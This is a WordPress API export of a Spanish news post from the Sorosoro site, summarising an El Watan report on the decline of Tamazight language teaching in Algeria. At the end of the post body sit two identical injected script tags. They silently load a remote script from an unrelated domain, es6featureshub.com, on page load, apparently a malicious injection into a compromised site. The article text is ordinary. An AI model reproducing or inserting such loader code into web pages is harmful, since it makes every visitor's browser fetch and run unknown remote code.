{"id":46934,"date":"2011-05-02T12:20:47","date_gmt":"2011-05-02T10:20:47","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=46934"},"modified":"2025-10-21T22:55:07","modified_gmt":"2025-10-21T20:55:07","slug":"27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/","title":{"rendered":"27 de abril de 2011: el peri\u00f3dico argelino <i> El Watan <\/i> alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe"},"content":{"rendered":"<p style=\"text-align: justify;\">El <strong>tamazight<\/strong>, o<strong> lengua amazighe<\/strong>, designa las <strong>lenguas bereberes, habladas en \u00c1frica del Norte<\/strong>.<\/p>\n<p style=\"text-align: justify;\">En <strong>Argelia<\/strong>, parecer\u00eda que la <strong>ense\u00f1anza<\/strong> de esta lengua, <strong>promovida sin embargo desde 1980<\/strong>, pierde dinamismo. <em>El Watan<\/em> intenta comprender las causas de este <strong>retroceso<\/strong>, a partir del balance establecido cada a\u00f1o por los poderes p\u00fablicos del pa\u00eds y los militantes de la causa amazighe.<\/p>\n<p style=\"text-align: justify;\">\n<div id=\"attachment_46937\" style=\"width: 385px\" class=\"wp-caption aligncenter\"><a rel=\"attachment wp-att-46937\" href=\"https:\/\/www.sorosoro.org\/es\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre%c2%a0el-decline-de-la-ensenanza-de-la-lengua-amazighe\/tamazight-3\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-46937\" class=\"size-full wp-image-46937\" title=\"tamazight\" src=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\" alt=\" \" width=\"375\" height=\"281\" srcset=\"https:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg 375w, https:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2-300x224.jpg 300w\" sizes=\"auto, (max-width: 375px) 100vw, 375px\" \/><\/a><p id=\"caption-attachment-46937\" class=\"wp-caption-text\"> <\/p><\/div>\n<p style=\"text-align: justify;\">El hecho es efectivamente alarmante: en primer lugar, sobre los 16 wilayas (departamentos, o regiones) escogidos para este experimento de ense\u00f1anza, s\u00f3lo 9 contin\u00faan la ense\u00f1anza de la lengua.<\/p>\n<p style=\"text-align: justify;\">Otra cifra: en Bug\u00eda, la ciudad m\u00e1s grande de Cabilia, las estad\u00edsticas muestran que solamente uno de cada dos alumnos goza de esta ense\u00f1anza. Y hay que citar tambi\u00e9n los problemas pedag\u00f3gicos y socio-profesionales de orden encontrados aqu\u00ed y all\u00ed: en el wilaya de habla bereber de Tizi Ouzou, por ejemplo, los profesores de la escuela primaria deben dar sus cursos en 3 a 4 pueblos diferentes, pasando as\u00ed mucho tiempo en transporte.<\/p>\n<p style=\"text-align: justify;\">Sin embargo, durante d\u00e9cadas pasadas, las luchas bereberes hab\u00edan llegado a un cierto n\u00famero de avances: el tamazight se convirti\u00f3 en lengua nacional, y dispone de una cadena de televisi\u00f3n p\u00fablica, cuatro festivales culturales han sido creados, tres departamentos de lengua y cultura amazighes han sido puestos en marcha, as\u00ed como dos instituciones: la Alta comisar\u00eda del amazighit\u00e9 (HCA) y un Centro nacional pedag\u00f3gico y ling\u00fc\u00edstico.<\/p>\n<p style=\"text-align: justify;\"><strong>La regresi\u00f3n de la ense\u00f1anza del tamazight<\/strong> se deber\u00eda, seg\u00fan numerosas opiniones, a su <strong>car\u00e1cter facultativo<\/strong>. Para que sea eficaz, esta ense\u00f1anza deber\u00eda ser obligatoria y realmente oficial.<\/p>\n<p style=\"text-align: justify;\">Habr\u00eda que comenzar tambi\u00e9n por aplicar las leyes existentes, porque como lo subray\u00f3 el Sr. Arkoub, miembro de la asociaci\u00f3n de profesores de tamazight, \u00abtenemos un texto de orientaci\u00f3n para el sistema educativo y una circular para la ense\u00f1anza de tamazight, pero estas leyes son pisoteadas, desgraciadamente, por ciertos directores de algunos establecimientos\u00bb. Una canci\u00f3n muy conocida en muchos de otros pa\u00edses d\u00f3nde las lenguas minoritarias penan siempre por encontrar su lugar en las escuelas\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El tamazight, o lengua amazighe, designa las lenguas bereberes, habladas en \u00c1frica del Norte. En Argelia, parecer\u00eda que la ense\u00f1anza de esta lengua, promovida sin embargo desde 1980, pierde dinamismo. El Watan intenta comprender las causas de este retroceso, a partir del balance establecido cada a\u00f1o por los poderes p\u00fablicos del pa\u00eds y los militantes [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-46934","post","type-post","status-publish","format-standard","hentry","category-noticias"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>27 de abril de 2011: el peri\u00f3dico argelino  El Watan  alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"27 de abril de 2011: el peri\u00f3dico argelino  El Watan  alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"El tamazight, o lengua amazighe, designa las lenguas bereberes, habladas en \u00c1frica del Norte. En Argelia, parecer\u00eda que la ense\u00f1anza de esta lengua, promovida sin embargo desde 1980, pierde dinamismo. El Watan intenta comprender las causas de este retroceso, a partir del balance establecido cada a\u00f1o por los poderes p\u00fablicos del pa\u00eds y los militantes [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-02T10:20:47+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:55:07+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe\",\"datePublished\":\"2011-05-02T10:20:47+00:00\",\"dateModified\":\"2025-10-21T20:55:07+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\"},\"wordCount\":392,\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\",\"articleSection\":[\"Noticias sobre los idiomas en peligro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\",\"name\":\"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\",\"datePublished\":\"2011-05-02T10:20:47+00:00\",\"dateModified\":\"2025-10-21T20:55:07+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage\",\"url\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\",\"contentUrl\":\"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"27 de abril de 2011: el peri\u00f3dico argelino  El Watan  alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/","og_locale":"es_ES","og_type":"article","og_title":"27 de abril de 2011: el peri\u00f3dico argelino  El Watan  alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro","og_description":"El tamazight, o lengua amazighe, designa las lenguas bereberes, habladas en \u00c1frica del Norte. En Argelia, parecer\u00eda que la ense\u00f1anza de esta lengua, promovida sin embargo desde 1980, pierde dinamismo. El Watan intenta comprender las causas de este retroceso, a partir del balance establecido cada a\u00f1o por los poderes p\u00fablicos del pa\u00eds y los militantes [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/","og_site_name":"Sorosoro","article_published_time":"2011-05-02T10:20:47+00:00","article_modified_time":"2025-10-21T20:55:07+00:00","og_image":[{"url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg","type":"","width":"","height":""}],"author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"2 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe","datePublished":"2011-05-02T10:20:47+00:00","dateModified":"2025-10-21T20:55:07+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/"},"wordCount":392,"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg","articleSection":["Noticias sobre los idiomas en peligro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/","name":"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage"},"image":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage"},"thumbnailUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg","datePublished":"2011-05-02T10:20:47+00:00","dateModified":"2025-10-21T20:55:07+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#primaryimage","url":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg","contentUrl":"http:\/\/www.sorosoro.org\/wp-content\/uploads\/tamazight2.jpg"},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/05\/27-de-abril-de-2011-el-periodico-argelino-el-watan-alerta-sobre-el-decline-de-la-ensenanza-de-la-lengua-amazighe\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"27 de abril de 2011: el peri\u00f3dico argelino El Watan alerta sobre\u00a0el decline de la ense\u00f1anza de la lengua amazighe"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=46934"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/46934\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=46934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=46934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=46934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}